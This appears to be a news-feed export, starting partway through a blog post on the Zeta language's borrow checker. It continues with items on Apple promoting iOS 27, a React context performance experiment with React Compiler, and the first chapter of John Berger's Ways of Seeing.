cbuf.buf[bytes.len] = 0;

Here, we don't know what bytes.len, all we know is that it's a maximum of 4096, and even if bytes.len were to be 0, we know that at least, the first element is always initialized, and it's literally just a null termination, which the OS will atomically validate when doing:

let cpath: CPathBuf = CPathBuf.from_str(path);
let fd: i32 = unsafe { libc.open(cpath.ptr(), flags, mode) };

So it's always a safe operation.

Quirks that are fixed

First, you cannot uninitialize something that's already been initiialized. That's fair, it allows this feature to stay deterministic instead of trying to solve arbitrary runtime logic which can sometimes be impossible to reason about.

There's a quirk that's harder to fix though; What if I were to initialize an uninitialized value through something seemingly opaque? We'd need to know how opaque. There are different levels of it:

Through a regular function call

We first need to establish that you cannot give immutable references of partially-initialized or uninitialized memory to any function. But we can allow them to be mutated, and if there's a possibility where the function reads the value before mutating it, the call would be rejected.

Such as so:

let mut cell: i64 = uninit;
fill(&mut cell);

Well, how would we prove this you may ask? Well, you tell me. I've already explained it to you like three times, you seem to forget a lot!

this.{&mut this.data[this.data.len], &mut this.data.len} multiplace syntax. For here, fill would be:

func fill(x: &mut i64) {
    *x = 7;
}

It takes the pointer as whole, and initializes it whole. that's valid. But can we lie and just.. not initialize it anyway? we can do:

case scenario #1:

func fill(x: &mut i64) {
}

or case scenario #2:

func fill(x: &mut i64) {
    if random(1, 10) == 5 {
        *x = 7;
    }
}

The compiler is really smart. because it has already analyzed fill . so case #1 fails and the borrow checker bonks you on the head for doing so.

As for fill , it's a little harder than that. We usually deny the usage of the variable unless all branches (the if branch, and what if the if branch didn't happen) initialized the variable. Because what if we were to do:

func fill(x: &mut DroppableItem) {
    if random(1, 10) == 5 {
        *x = DroppableItem { tag: "x" };
    }
}

The problem here is that we can genuinely skip a Drop call here.
Well this is where the compiler puts its foot down, and it allows it. But it will implicitly allocate a small number flag that says if the variable is initialized or not. Should this be made explicit by a compiler highlight and tooling perhaps? it's better than nothing, honestly.

Through an opaque dynamic dispatch call or opaque closure/lambda/function pointer

Take something like:

let x: Vec3f = uninit;
let mutator: &dyn MyTrait = get_my_interface(7);
mutator.mutate(x);

This is more complicated, because we don't know which implementation we actually got.

We can just reject the call conservatively, but we can allow the call if MyTrait#mutate says exactly what it does via the multi-place syntax on the signature itself. This requires it so that the implementors of MyTrait must follow the exact orders its been given.

So if an implementor were to not initialize all of Vec3f and MyTrait allowed &mut X , the call to mutate with an uninitialized variable, and there would be a diagnostic saying that "Possible implementors such as [ EvilMyTraitImplementation ] have different guarantees opposed to [ NotAnEvilMyTraitImplementation ]. Uninitialized memory cannot be given.". This is obviously over-restrictive if we know we'd never get EvilMyTraitImplementation . But honestly? That's just life. And there would be no way to prove that unless we'd be willing to implement something even more complex than what we already have.

If the MyTrait#mutate were to be: func mutate(&this, value: Vec3f.{&mut x});

Then every implementation of the interface can only write to &mut x and never write more or less. Therefore it's perfectly fine to give uninitialized memory and always expect Vec3f.x to be usable.

It would be very similar with safe function pointers (excluding JIT functions, functions that follow C ABI, functions that come from FFI, etc), closures and lambdas

Opaque FFI functions

Uninitialized memory cannot be proved to be initialized or stay uninitialized after an FFI call. Therefore you wouldn't be able to safely assume it would initialize.

If you were to opt into unsafe though. It would be different:

let x: i64 = uninit;
let y: [*]mut i64 = &mut x;
unsafe { some_ffi_function(y); }
use_i64(x);

some_ffi_function here doesn't take a reference. it takes an unsafe pointer.

Remember when I mentioned "the difference between a safe and unsafe pointer is that a safe pointer is non-null and aligned but not borrow checked, and an unsafe pointer is a C pointer, they are both unsafe to deref but they have different guarantees."

Well, *mut i64 would be a safe pointer, and [*]mut i64 would be an unsafe pointer. In this case, we use the [*]mut i64 as we have no other way to prove that it would retain the safe pointer's (let alone the reference's) guarantees of alignment and nullability.

Using x afterwards would be considered legal. Why wouldn't we just make it unsafe to dereference the value and banning the ability to build a reference to x without unsafe? instead of potentially lying? because otherwise, uninit is harder outside FFI. I think this would be fine though so I'd definitely like more feedback regarding this.

Static memory

Static memory is really easy to explain, &mut to static is banned as it's almost impossible to track, and you'd use &alias which has no guarantee of data staying the same always and is never noalias which is correct, and static memory lives as long as the program, and values do not require Send + Sync unless it crosses thread boundaries, nor does it need unsafe to use.

Conclusion

We've finished the full Zeta borrow checking model. This is obviously way easier said than done, but there's a real implementation that actually implements this. Which is.. you guessed it. Zeta!

Again, this here is the github and this here is the discord link for anyone who wants to chat about this model!

Apple Only Started Suggesting iOS 26 Users Upgrade to 27 Three Days Ago

Daring Fireball
www.macrumors.com
2026-10-11 15:02:38
Joe Rossignol, on Thursday: Starting today, iPhone users still running iOS 26 will see iOS 27.0.1 as the prominent software update in the Settings app under General → Software Update, with iOS 26.7.1 now relegated to a smaller “Also Available” section at the bottom. Just the other day I posted...
Original Article

Starting today, iPhone users still running iOS 26 will see iOS 27.0.1 as the prominent software update in the Settings app under General → Software Update, with iOS 26.7.1 now relegated to a smaller "Also Available" section at the bottom.

Apple Now Pushing iPhone Users Still on iOS 26 to Install iOS 27 Feature
iOS 27 was released on September 14, but until now that update and later iOS 27.0.1 were shown under the "Also Available" section, with iOS 26.7 and later iOS 26.7.1 shown in the prominent position. By reversing the order in which the updates are shown today, Apple is more actively encouraging iPhone users who are still on iOS 26 to install iOS 27.

Apple is not forcing iPhone users to install iOS 27, but at least installing iOS 26.7.1 is recommended in order to receive the latest security fixes.

Apple has yet to share iOS 27 adoption numbers.

Popular Stories

Here's When iOS 27 Rolls Out Today in Every Time Zone [Update: It's Out]

Sunday September 13, 2026 3:00 am PDT by

Update 10:04 a.m.: iOS 27 is rolling out now, though it may take a bit for all users to see it, so keep checking! Apple is about to release iOS 27, which will finally deliver more advanced Siri AI capabilities as well as a variety of other refinements, improvements, and new features to iPhones. It's Apple's biggest software update of the year, and Apple announced at Wednesday's iPhone event...

iOS 27 Available Now With These 8 New Features

Monday September 14, 2026 9:00 am PDT by

Update — 10 a.m. Pacific Time: Apple has released iOS 27. During its iPhone 18 Pro and iPhone Duo event last week, Apple announced that iOS 27 will be released widely on Monday, September 14. iOS 27 should be available around 10 a.m. Pacific Time / 1 p.m. Eastern Time today via the Settings app, under General → Software Update. Below, we have highlighted eight new features and...

iOS 27.1: New Features to Expect and Release Date

Monday September 14, 2026 9:30 am PDT by

Apple's press release for the iPhone Duo last week said the device will ship with iOS 27.1, which essentially confirms the software update's release timing. iPhone Duo launches on Friday, October 23, so we can expect iOS 27.1 to be released by that date at the latest — likely several days earlier. Following three months of beta testing, iOS 27 will be released to the public today, and the ...

Making React Context Cheap with React Compiler

Lobsters
jjenzz.com
2026-10-11 14:26:27
Comments...
Original Article

When building React apps, many of us have probably craved a context selector at some point. Imagine a radio group where each radio needs to know if it is checked. When the selection moves from one radio to another, only those two radios need to render, but using React context means all context consumers render when any value on the context updates.

A context selector would let a component derive a value from context and render only when that value changes. For example:

const checked = useContextSelector(
  RadioContext,
  (context) => context.value === value,
);

But React still doesn't have an API like useContextSelector , even though re-rendering, say, 5,000 radios is generally understood to be expensive. Why?

Why doesn't React have a context selector?

React used to have a way to control which context consumers updated. A previous context implementation accepted a calculateChangedBits function , so we could pass unstable_observedBits . The provider marked which bits had changed, and each consumer listened for the bits it cared about, but it was removed in React PR #20953 .

The need didn't seem to disappear with it though. Josh Story opened a context selectors RFC in 2019 proposing a hook for it, and in 2022 I even tried a ~40-line workaround that turned each piece of state into its own provider 🙈.

I find this gap really interesting. So many React developers have felt this pain, yet React removed calculateChangedBits and still doesn't offer a context selector. How has the React team managed without one?

I went looking through the docs, and React's guidance for memo gave me a place to start:

To make your component re-render only when a part of some context changes, split your component in two. Read what you need from the context in the outer component, and pass it down to a memoized child as a prop.

Let's see if that's fast enough with 5,000 radios.

A small radio group

I built a small demo with a RadioGroup that keeps the selected value in React state and puts it in context alongside a stable handler. Each Radio receives its own value as a prop.

const RadioContext = React.createContext();

function RadioGroup({ children }) {
  const [value, setValue] = React.useState('');
  const context = React.useMemo(
    () => ({ value, onSelect: setValue }),
    [value],
  );

  return (
    <RadioContext.Provider value={context}>
      {children}
    </RadioContext.Provider>
  );
}

function Radio({ value }) {
  const context = React.useContext(RadioContext);

  return (
    <input
      type="radio"
      name="demo"
      checked={context.value === value}
      onChange={() => context.onSelect(value)}
    />
  );
}

The Radio elements are passed in as children, so the group rendering again doesn't render them, but selecting a radio changes value . The provider then passes down a new context object and every Radio that calls useContext(RadioContext) renders again. With 5,000 radios, that's 5,000 re-rendering radios caused by one click. Ouch.

Nowadays, devs often reach for useSyncExternalStore at this point, but the docs for the hook explicitly recommend built-in state where possible , and appear to position it as a bridge to existing external state (not a tool to create our own external state).

I find that interesting, because whenever we branch away from React's primitives, we risk missing out on the features React builds on top of them, like concurrent rendering. In fact, most of the libraries in Daishi Kato's concurrent rendering tests can't interrupt a render or branch state during a transition, and Base UI's store currently fails the same two tests many of those do. That might not be a problem in practice for the places these stores are used, but it does highlight the risk of branching away from React's conventions.

That made me curious whether state owned by React could keep up, so I added a Base UI store example as the baseline. In that version, each radio subscribes to its own checked boolean, so only the previously checked and newly checked radios re-render on selection.

To compare, I started with React's documented pattern. The outer Radio reads context and works out whether it's checked, and an inner view receives only the values it uses:

function Radio({ value }) {
  const context = React.useContext(RadioContext);

  return (
    <RadioView
      checked={context.value === value}
      onSelect={context.onSelect}
      value={value}
    />
  );
}

const RadioView = React.memo(function RadioView({ checked, onSelect, value }) {
  return (
    <input
      type="radio"
      name="demo"
      checked={checked}
      onChange={() => onSelect(value)}
    />
  );
});

Notice that the outer Radio still renders on every context update, but RadioView only renders when its props change. For one selection, the checked boolean changes for two radios. The handler and each radio's own value stay stable, so React can skip the other 4,998 views.

Comparing memo with the store

These are p95 timings from a production build with 5,000 radios, measured in Chrome on a MacBook Pro (M3 Pro, 36GB RAM). The 4× columns use the 4× CPU slowdown in Chrome DevTools:

Approach Mount 1× Mount 4× Click 1× Click 4×
useSyncExternalStore store 147.6 ms 601.8 ms 19.2 ms 64.9 ms
Context with memoized view 145.0 ms 568.2 ms 18.9 ms 72.6 ms

Benchmarks generated by Codex.

The store rendered two consumers while the context version still rendered all 5,000 radios, so I expected context to fall well behind. What I found really interesting was that it didn't. The outer readers ran, but the 4,998 unchanged views skipped their work, and the measured performance wasn't exactly worse.

Letting the compiler memoize

I almost stopped here, but during my exploration I came across Joseph Savona's reply on the context selectors RFC , where he argued that the compiler already does a lot of what we need:

Our argument is the compiler already achieves a lot of what people want from context selectors.

In his compiled example , the component still reads context, but expensive calculations and JSX are reused when the selected value stays the same. That sounds surprisingly close to fine-grained updates.

Oh wow, okay. Let's see what the radio looks like without the extra view component:

function Radio({ value }) {
  const context = React.useContext(RadioContext);
  const checked = context.value === value;
  const onSelect = context.onSelect;

  return (
    <input
      type="radio"
      name="demo"
      checked={checked}
      onChange={() => onSelect(value)}
    />
  );
}

So what happens when the selection changes? Every Radio still renders again, but the compiler reuses the JSX from any radio whose checked , onSelect , and value haven't changed. The React docs even show the compiler reusing previously created JSX and memoizing intermediate values within components .

It's the same outer-consumer-and-memoized-child idea, but the memoizing happens during the consumer's render instead of in a separate component.

Adding the compiler to the benchmark

I ran a compiler demo through the same p95 production benchmarks, and these were the results:

Approach Mount 1× Mount 4× Click 1× Click 4×
useSyncExternalStore store 147.6 ms 601.8 ms 19.2 ms 64.9 ms
Context with memoized view 145.0 ms 568.2 ms 18.9 ms 72.6 ms
Context with Compiler 141.0 ms 565.2 ms 18.4 ms 63.6 ms

This is a narrow benchmark, so it isn't a general ranking of stores, context, and the compiler, but the result really did surprise me. The compiled radio has no extra component and no selector, and it kept up with both of the other approaches in every column.

Do we really need useContextSelector or useSyncExternalStore workarounds anymore?

If you're not using React Compiler yet

If you haven't taken the leap to the compiler yet, the React.memo pattern still works without a build step. While experimenting with these benchmarks, I wrapped it in a small abstraction where each component selects the values its view needs:

const Radio = withContextSelector(
  RadioContext,
  (context, props) => ({
    checked: context.value === props.value,
    onSelect: context.onSelect,
  }),
  function Radio({ ctx, props }, ref) {
    return (
      <input
        ref={ref}
        type="radio"
        name="demo"
        checked={ctx.checked}
        onChange={() => ctx.onSelect(props.value)}
      />
    );
  },
);
function withContextSelector(Context, select, View) {
  const Comp = React.memo(
    React.forwardRef(View),
    (before, after) =>
      shallowEqual(before.ctx, after.ctx) &&
      shallowEqual(before.props, after.props),
  );
  Comp.displayName = View.name;

  return React.forwardRef(function ContextSelector(props, ref) {
    const context = React.useContext(Context);
    if (context === undefined) {
      throw new Error(`<${View.name} /> is missing required context.`);
    }

    const ctx = select(context, props);
    return <Comp ctx={ctx} props={props} ref={ref} />;
  });
}

function shallowEqual(before, after) {
  if (Object.is(before, after)) return true;

  const keys = Object.keys(before);
  return (
    keys.length === Object.keys(after).length &&
    keys.every(
      (key) => Object.hasOwn(after, key) && Object.is(before[key], after[key]),
    )
  );
}

This likely needs some TLC, but it at least demonstrates how the pattern could be packaged neatly into a reusable API. Bear in mind that withContextSelector is a component factory though, and React's lint rules discourage those . So if you do decide to move to the compiler later, you'd need to remember to remove it to reap the compiler's full benefits.

What counting renders misses

I've always preferred making renders cheap over handholding every render, but this experiment really put that to the test. Every one of those 5,000 radios still rendered on each click, and it barely mattered because almost none of them had anything left to do.

So, is counting renders really useful? What users actually wait for is the work each render does, and that's where React Compiler helps. Rather than trying to avoid renders, maybe we should be focusing more on making them cheap.

Chapter 1 of Ways of Seeing by John Berger

Hacker News
www.ways-of-seeing.com
2026-10-11 14:26:24
Comments...
Original Article

Seeing comes before words. The child looks and recognizes before it can speak.

But there is also another sense in which seeing comes before words. It is seeing which establishes our place in the surrounding world; we explain that world with words, but words can never undo the fact that we are surrounded by it. The relation between what we see and what we know is never settled. Each evening we see the sun set. We know that the earth is turning away from it. Yet the knowledge, the explanation, never quite fits the sight. The Surrealist painter Magritte commented on this always-present gap between words and seeing in a painting called The Key of Dreams .

The Key of Dreams by Rene Magritte, 1898-1967, private collection

The way we see things is affected by what we know or what we believe. In the Middle Ages when men believed in the physical existence of Hell the sight of fire must have meant something different from what it means today. Nevertheless their idea of Hell owed a lot to the sight of fire consuming and the ashes remaining - as well as to their experience of the pain of burns.

When in love, the sight of the beloved has a completeness which no words and no embrace can match : a completeness which only the act of making love can temporarily accommodate.

Yet this seeing which comes before words, and can never be quite covered by them, is not a question of mechanically reacting to stimuli. (It can only be thought of in this way if one isolates the small part of the process which concerns the eye's retina.) We only see what we look at. To look is an act of choice. As a result of this act, what we see is brought within our reach - though not necessarily within arm's reach. To touch something is to situate oneself in relation to it. (Close your eyes, move round the room and notice how the faculty of touch is like a static, limited form of sight.) We never look at just one thing; we are always looking at the relation between things and ourselves. Our vision is continually active, continually moving, continually holding things in a circle around itself, constituting what is present to us as we are.

Soon after we can see, we are aware that we can also be seen. The eye of the other combines with our own eye to make it fully credible that we are part of the visible world.

If we accept that we can see that hill over there, we propose that from that hill we can be seen. The reciprocal nature of vision is more fundamental than that of spoken dialogue. And often dialogue is an attempt to verbalize this - an attempt to explain how, either metaphorically or literally, 'you see things', and an attempt to discover how 'he sees things'.

In the sense in which we use the word in this book, all images are man-made.

An image is a sight which has been recreated or reproduced. It is an appearance, or a set of appearances, which has been detached from the place and time in which it first made its appearance and preserved - for a few moments or a few centuries. Every image embodies a way of seeing. Even a photograph. For photographs are not, as is often assumed, a mechanical record. Every time we look at a photograph, we are aware, however slightly, of the photographer selecting that sight from an infinity of other possible sights. This is true even in the most casual family snapshot. The photographer's way of seeing is reflected in his choice of subject. The painter's way of seeing is reconstituted by the marks he makes on the canvas or paper. Yet, although every image embodies a way of seeing, our perception or appreciation of an image depends also upon our own way of seeing. (It may be, for example, that Sheila is one figure among twenty; but for our own reasons she is the one we have eyes for.)

Images were first made to conjure up the appearances of something that was absent. Gradually it became evident that an image could outlast what it represented; it then showed how something or somebody had once looked - and thus by implication how the subject had once been seen by other people. Later still the specific vision of the image-maker was also recognized as part of the record. An image became a record of how X had seen V. This was the result of an increasing consciousness of individuality, accompanying an increasing awareness of history. It would be rash to try to date this last development precisely. But certainly in Europe such consciousness has existed since the beginning of the Renaissance.

No other kind of relic or text from the past can offer such a direct testimony about the world which surrounded other people at other times. In this respect images are more precise and richer than literature. To say this is not to deny the expressive or imaginative quality of art, treating it as mere documentary evidence; the more imaginative the work, the more profoundly it allows us to share the artist's experience of the visible.

Yet when an image is presented as a work of art, the way people look at it is affected by a whole series of learnt assumptions about art. Assumptions concerning

  • Beauty
  • Truth
  • Genius
  • Civilization
  • Form
  • Status
  • Taste,
  • etc.

Many of these assumptions no longer accord with the world as it is. (The world-as-it-is is more than pure objective fact, it includes consciousness.) Out of true with the present, these assumptions obscure the past. They mystify rather than clarify. The past is never there waiting to be discovered, to be recognized for exactly what it is. History always constitutes the relation between a present and its past. Consequently fear of the present leads to mystification of the past. The past is not for living in; it is a well of conclusions from which we draw in order to act. Cultural mystification of the past entails a double loss. Works of art are made unnecessarily remote. And the past offers us fewer conclusions to complete in action.

When we 'see' a landscape, we situate ourselves in it. If we 'saw' the art of the past, we would situate ourselves in history. When we are prevented from seeing it, we are being deprived of the history which belongs to us. Who benefits from this deprivation? In the end, the art of the past is being mystified because a privileged minority is striving to invent a history which can retrospectively justify the role of the ruling classes, and such a justification can no longer make sense in modern terms. And so, inevitably, it mystifies.

Let us consider a typical example of such mystification. A two-volume study was recently published on Frans Hals.' It is the authoritative work to date on this painter. As a book of specialized art history it is no better and no worse than the average.

Regents of the Old Men's Alms House by Frans Hals, 1580-1666, Frans Hals Museum, Haarlem

Regentesses of the Old Men's Alms House by Frans Hals, 1580-1666, Frans Hals Museum, Haarlem

The last two great paintings by Frans Hals portray the Governors and the Governesses of an Alms House for old paupers in the Dutch seventeenth-century city of Haarlem. They were officially commissioned portraits. Hals, an old man of over eighty, was destitute. Most of his life he had been in debt. During the winter of 1664, the year he began painting these pictures, he obtained three loads of peat on public charity, otherwise he would have frozen to death. Those who now sat for him were administrators of such public charity.

The author records these facts and then explicitly says that it would be incorrect to read into the paintings any criticism of the sitters. There is no evidence, he says, that Hals painted them in a spirit of bitterness. The author considers them, however, remarkable works of art and explains why. Here he writes of the Regentesses:

Each woman speaks to us of the human condition with equal importance. Each woman stands out with equal clarity against the enormous dark surface, yet they are linked by a firm rhythmical arrangement and the subdued diagonal pattern formed by their heads and hands. Subtle modulations of the deep , glowing blacks contribute to the harmonious fusion of the whole and form an unforgettable contrast with the powerful whites and vivid flesh tones where the detached strokes reach a peak of breadth and strength . (our italics)

The compositional unity of a painting contributes fundamentally to the power of its image. It is reasonable to consider a painting's composition. But here the composition is written about as though it were in itself the emotional charge of the painting. Terms like harmonious fusion, unforgettable contrast, reaching a peak of breadth and strength transfer the emotion provoked by the image from the plane of lived experience, to that of disinterested 'art appreciation'. All conflict disappears. One is left with the unchanging 'human condition', and the painting considered as a marvellously made object.

Very little is known about Hals or the Regents who commissioned him. It is not possible to produce circumstantial evidence to establish what their relations were. But there is the evidence of the paintings themselves: the evidence of a group of men and a group of women as seen by another man, the painter. Study this evidence and judge for yourself.

Regentesses of the Old Men's Alms House by Frans Hals, 1580-1666, Frans Hals Museum, Haarlem Regentesses of the Old Men's Alms House by Frans Hals, 1580-1666, Frans Hals Museum, Haarlem

The art historian fears such direct judgement:

As in so many other pictures by Hals, the penetrating characterizations almost seduce us into believing that we know the personality traits and even the habits of the men and women portrayed.

What is this 'seduction' he writes of ? It is nothing less than the paintings working upon'us. They work upon us because we accept the way Hals saw his sitters. We do not accept this innocently. We accept it in so far as it corresponds to our own observation of people, gestures. faces, institutions. This is possible because we still live in a society of comparable social relations and moral values. And it is precisely this which gives the paintings their psychological and social urgency. It is this - not the painter's skill as a 'seducer' - which convinces us that we can know the people portrayed.

The author continues: In the case of some critics the seduction has been a total success. It has, for example, been asserted that the Regent in the tipped slouch hat, which hardly covers any of his long, lank hair, and whose curiously set eyes do not focus, was shown in a drunken state.

Regents of the Old Men's Alms House by Frans Hals, 1580-1666, Frans Hals Museum, Haarlem

This, he suggests, is a libel. He argues that it was a fashion at that time to wear hats on the side of the head. He cites medical opinion to prove that the Regent's expression could well be the result of a facial paralysis. He insists that the painting would have been unacceptable to the Regents if one of them had been portrayed drunk. One might go on discussing each of these points for pages. (Men in seventeenth-century Holland wore their hats on the side of their heads in order to be thought of as adventurous and pleasure-loving. Heavy drinking was an approved practice. Etcetera.) But such a discussion would take us even farther away from the only confrontation which matters and which the author is determined to evade.

In this confrontation the Regents and Regentesses stare at Hals, a destitute old painter who has lost his reputation and lives off public charity; he examines them through the eyes of a pauper who must nevertheless try to be objective, i.e., must try to surmount the way he sees as a pauper. This is the drama of these paintings. A drama of an ' unforgettable contrast '.

Mystification has little to do with the vocabulary used. Mystification is the process of explaining away what might otherwise be evident. Hals was the first portraitist to paint the new characters and expressions created by capitalism. He did in pictorial terms what Balzac did two centuries later in literature. Yet the author of the authoritative work on these paintings sums up the artist's achievement by referring to

Hals's unwavering commitment to his personal vision, which enriches our consciousness of our fellow men and heightens our awe for the ever-increasing power of the mighty impulses that enabled him to give us a close view of life's vital forces.

That is mystification.

In order to avoid mystifying the past (which can equally well suffer pseudo-Marxist mystification) let us now examine the particular relation which now exists, so far as pictorial images are concerned, between the present and the past. If we can see the present clearly enough, we shall ask the right questions of the past.

Today we see the art of the past as nobody saw it before. We actually perceive it in a different way.

This difference can be illustrated in terms of what was thought of as perspective. The convention of perspective, which is unique to European art and which was first established in the early Renaissance, centres everything on the eye of the beholder. It is like a beam from a lighthouse - only instead of light travelling outwards, appearances travel in. The conventions called those appearances reality . Perspective makes the single eye the centre of the visible world. Everything converges on to the eye as to the vanishing point of infinity. The visible world is arranged for the spectator as the universe was once thought to be arranged for God.

According to the convention of perspective there is no visual reciprocity. There is no need for God to situate himself in relation to others: he is himself the situation. The inherent contradiction in perspective was that it structured all images of reality to address a single spectator who, unlike God, could only be in one place at a time.

After the invention of the camera this contradiction gradually became apparent.

This quotation is from an article written in 1923 by Dziga Veritov, the revolutionary Soviet film director

I'm an eye. A mechanical eye. I, the machine, show you a world the way only I can see it. I free myself for today and forever from human immobility. I'm in constant movement. I approach and pull away from objects. I creep under them. i move alongside a running horse's mouth. I fall and rise with the falling and rising bodies. This is I, the machine, manoeuvring in the chaotic movements, recording one movement after another in the most complex combinations. Freed from the boundaries of time and space, I co-ordinate any and all points of the universe, wherever I want them to be. My way leads towards the creation of a fresh perception of the world. Thus I explain in a new way the world unknown to you.*

The camera isolated momentary appearances and in so doing destroyed the idea that images were timeless. Or, to put it another way, the camera showed that the notion of time passing was inseparable from the experience of the visual (except in paintings). What you saw depended upon where you were when. What you saw was relative to your position in time and space. It was no longer possible to imagine everything converging on the human eye as on the vanishing point of infinity.

This is not to say that before the invention of the camera men believed that everyone could see everything. But perspective organized the visual field as though that were indeed the ideal. Every drawing or painting that used perspective proposed to the spectator that he was the unique centre of the world. The camera - and more particularly the movie camera - demonstrated that there was no centre.

The invention of the camera changed the way men saw. The visible came to mean something different to them. This was immediately reflected in painting.

For the Impressionists the visible no longer presented itself to man in order to be seen. On the contrary, the visible, in continual flux, became fugitive. For the Cubists the visible was no longer what confronted the single eye, but the totality of possible views taken from points all round the object (or person) being depicted.

Still Life with Wicker Chair by Picasso 1881

The invention of the camera also changed the way in which men saw paintings painted long before the camera was invented. Originally paintings were an integral part of the building for which they were designed. Sometimes in an early Renaissance church or chapel one has the feeling that the images on the wall are records of the building's interior life, that together they make up the building's memory - so much are they part of the particularity of the building.

The uniqueness of every painting was once part of the uniqueness of the place where it resided. Sometimes the painting was transportable. But it could never be seen in two places at the same time. When the camera reproduces a painting, it destroys the uniqueness of its image. As a result its meaning changes. Or, more exactly, its meaning multiplies and fragments into many meanings.

This is vividly illustrated by what happens when a painting is shown on a television screen. The painting enters each viewer's house. There it is surrounded by his wallpaper, his furniture, his mementoes. It enters the atmosphere of his family. It becomes their talking point. It lends its meaning to their meaning. At the same time it enters a million other houses and, in each of them, is seen in a different context. Because of the camera, the painting now travels to the spectator rather than the spectator to the painting. In its travels, its meaning is diversified.

One might argue that all reproductions more or less distort, and that therefore the original painting is still in a sense unique. Here is a reproduction of the Virgin of the Rocks by Leonardo da Vinci.

Virgin of the Rocks by Leonardo da Vinci, 1452-1519, National Gallery, London

Having seen this reproduction, one can go to the National Gallery to look at the original and there discover what the reproduction lacks. Alternatively one can forget about the quality of the reproduction and simply be reminded, when one sees the original, that it is a famous painting of which somewhere one has already seen a reproduction. But in either case the uniqueness of the original now lies in it being the original of a reproduction . It is no longer what its image shows that strikes one as unique; its first meaning is no longer to be found in what it says, but in what it is.

This new status of the original work is the perfectly rational consequence of the new means of reproduction. But it is at this point that a process of mystification again enters. The meaning of the original work no longer lies in what it uniquely says but in what it uniquely is. How is its unique existence evaluated and defined in our present culture? It is defined as an object whose value depends upon its rarity. This value is affirmed and gauged by the price it fetches on the market. But because it is nevertheless 'a work of art' - and art is thought to be greater than commerce - its market price is said to be a reflection of its spiritual value. Yet the spiritual value of an object, as distinct from a message or an example, can only be explained in terms of magic or religion. And since in modern society neither of these is a living force, the art object, the 'work of art', is enveloped in an atmosphere of entirely bogus religiosity. Works of art are discussed and presented as though they were holy relics: relics which are first and foremost evidence of their own survival. The past in which they originated is studied in order to prove their survival genuine. They are declared art when their line of descent can be certified.

Before the Virgin of the Rocks the visitor to the National Gallery would be encouraged by nearly everything he might have heard and read about the painting to feel something like this: 'I am in front of it. I can see it. This painting by Leonardo is unlike any other in the world. The National Gallery has the real one. If I look at this painting hard enough, I should somehow be able to feel its authenticity. The Virgin of the Rocks by Leonardo da Vinci: it is authentic and therefore it is beautiful.'

To dismiss such feelings as naive would be quite wrong. They accord perfectly with the sophisticated culture of art experts for whom the National Gallery catalogue is written. The entry on the Virgin of the Rocks is one of the longest entries. It consists of fourteen closely printed pages. They do not deal with the meaning of the image. They deal with who commissioned the painting, legal squabbles, who owned it, its likely date, the families of its owners. Behind this information lie years of research. The aim of the research is to prove beyond any shadow of doubt that the painting is a genuine Leonardo. The secondary aim is to prove that an almost identical painting in the Louvre is a replica of the National Gallery version.

Virgin of the Rocks by Leonardo da Vinci, 1452-1519, National Gallery, London Virgin of the Rocks by Leonardo da Vinci, 1452-1519, Louvre, Paris

French art historians try to prove the opposite.

The Virgin and Child with St Anne and St John the Baptist by Leonardo da Vinci, 1452-1519, National Gallery, London

The National Gallery sells more reproductions of Leonardo's cartoon of The Virgin and Child with St Anne and St John the Baptist than any other picture in their collection. A few years ago it was known only to scholars. It became famous because an American wanted to buy it for two and a half million pounds.

Now it hangs in a room by itself. The room is like a chapel. The drawing is behind bullet-proof perspex. It has acquired a new kind of impressiveness. Not because of what it shows - not because of the meaning of its image. It has become impressive, mysterious, because of its market value.

The bogus religiosity which now surrounds original works of art, and which is ultimately dependent upon their market value, has become the substitute for what paintings lost when the camera made them reproducible. Its function is nostalgic. It is the final empty claim for the continuing values of an oligarchic, undemocratic culture. If the image is no longer unique and exclusive, the art object, the thing, must be made mysteriously so.

The majority of the population do not visit art museums. The following table shows how closely an interest in art is related to privileged education.

The majority take it as axiomatic that the museums are full of holy relics which refer to a mystery which excludes them: the mystery of unaccountable wealth. Or, to put this another way, they believe that original masterpieces belong to the preserve (both materially and spiritually) of the rich. Another table indicates what the idea of an art gallery suggests to each social class.

In the age of pictorial reproduction the meaning of paintings is no longer attached to them; their meaning becomes transmittable: that is to say it becomes information of a sort, and, like all information, it is either put to use or ignored; information carries no special authority within itself. When a painting is put to use, its meaning is either modified or totally changed. One should be quite clear about what this involves. It is not a question of reproduction failing to reproduce certain aspects of an image faithfully; it is a question of reproduction making it possible, even inevitable, that an image will be used for many different purposes and that the reproduced image, unlike an original work, can lend itself to them all. Let us examine some of the ways in which the reproduced image lends itself to such usage.

Venus and Mars by Sandro Botticelli, 1445-1510, National Gallery, London

Reproduction isolates a detail of a painting from the whole. The detail is transformed. An allegorical figure becomes a portrait of a girl.

Venus and Mars by Sandro Botticelli, 1445-1510, National Gallery, London

When a painting is reproduced by a film camera it inevitably becomes material for the film-maker's argument.

A film which reproduces images of a painting leads the spectator, through the painting, to the film-maker's own conclusions. The painting lends authority to the film-maker.

The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna

This is because a film unfolds in time and a painting does not.

The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna

In a film the way one image follows another, their succession, constructs an argument which becomes irreversible.

The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna

In a painting all its elements are there to be seen simultaneously. The spectator may need time to examine each element of the painting but whenever he reaches a conclusion, the simultaneity of the whole painting is there to reverse or qualify his conclusion. The painting maintains its own authority.

The Procession to Calvary by Pieter Breughel the Elder, 1525-69, Kunsthistorisches Museum, Vienna

Paintings are often reproduced with words around them.

This is a landscape of a cornfield with birds flying out of it. Look at it for a moment. Then turn the page.

Wheatfield with Crows by Vincent van Gogh, 1853-90, Stedelijk Museum, Amsterdam

Wheatfield with Crows by Vincent van Gogh, 1853-90, Stedelijk Museum, Amsterdam

It is hard to define exactly how the words have changed the image but undoubtedly they have. The image now illustrates the sentence.

In this essay each image reproduced has become part of an argument which has little or nothing to do with the painting's original independent meaning. The words have quoted the paintings to confirm their own verbal authority. (The essays without words in this book may make that distinction clearer.)

Reproduced paintings, like all information, have to hold their own against all the other information being continually transmitted.

Consequently a reproduction, as well as making its own references to the image of its original, becomes itself the reference point for other images. The meaning of an image is changed according to what one sees immediately beside it or what comes immediately after it. Such authority as it retains, is distributed over the whole context in which it appears.

